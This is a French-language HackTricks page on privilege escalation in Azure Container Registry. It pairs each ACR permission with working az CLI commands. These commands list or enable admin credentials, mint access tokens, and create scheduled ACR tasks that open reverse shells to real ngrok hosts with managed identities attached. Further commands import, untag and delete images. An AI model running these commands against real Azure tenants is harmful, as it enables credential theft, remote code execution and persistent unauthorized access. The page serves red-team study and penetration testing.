Az - Azure Container Registry Privesc
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Azure Container Registry
Pour plus d'informations, consultez :
Microsoft.ContainerRegistry/registries/listCredentials/action
Cette permission permet à l'utilisateur de lister les identifiants d'administration de l'ACR. Cela est utile pour obtenir un accès complet au registre.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
Dans le cas où les identifiants administratifs ne sont pas activés, vous aurez également besoin de la permission Microsoft.ContainerRegistry/registries/write
pour les activer avec :
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write
, Microsoft.ContainerRegistry/registries/generateCredentials/action
Ces permissions permettent à l'utilisateur de créer un nouveau token avec des mots de passe pour accéder au registre.
Pour utiliser az cli
pour le générer comme dans l'exemple suivant, vous aurez également besoin des permissions Microsoft.ContainerRegistry/registries/read
, Microsoft.ContainerRegistry/registries/scopeMaps/read
, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read
, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action
, Microsoft.ContainerRegistry/registries/scheduleRun/action
, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Ces permissions permettent à l'utilisateur de construire et exécuter une image dans le registre. Cela peut être utilisé pour exécuter du code dans le conteneur.
[!WARNING] Cependant, l'image sera exécutée dans un environnement isolé et sans accès au service de métadonnées. Cela signifie que le conteneur n'aura pas accès aux métadonnées de l'instance, donc cela n'est pas vraiment utile pour élever les privilèges.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
C'est la principale autorisation qui permet de créer et de mettre à jour une tâche dans le registre. Cela peut être utilisé pour exécuter un code à l'intérieur d'un conteneur avec une identité gérée attachée à celui-ci dans le conteneur.
Voici un exemple de la façon d'exécuter un reverse shell dans un conteneur avec l'identité gérée par le système attachée à celui-ci :
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Une autre façon d'obtenir un RCE à partir d'une tâche sans utiliser un dépôt externe est d'utiliser la commande az acr task create
avec le drapeau --cmd
. Cela vous permettra d'exécuter une commande dans le conteneur. Par exemple, vous pouvez exécuter un shell inversé avec la commande suivante :
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
tip
Notez que pour attribuer l'identité gérée par le système, vous n'avez besoin d'aucune autorisation spéciale, bien qu'elle doive avoir été activée au préalable dans le registre et avoir reçu certaines autorisations pour être utile.
Pour attribuer une identité gérée par l'utilisateur également, vous auriez besoin de l'autorisation Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
pour faire :
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Pour mettre à jour le dépôt d'une tâche existante, vous pouvez faire :
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Avec cette autorisation, il est possible d'importer une image dans le registre azure, même sans avoir l'image localement. Cependant, notez que vous ne pouvez pas importer une image avec un tag qui existe déjà dans le registre.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Pour démarquer ou supprimer un tag d'image spécifique du registre, vous pouvez utiliser la commande suivante. Cependant, notez que vous aurez besoin d'un utilisateur ou d'un jeton avec suffisamment de permissions pour le faire :
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.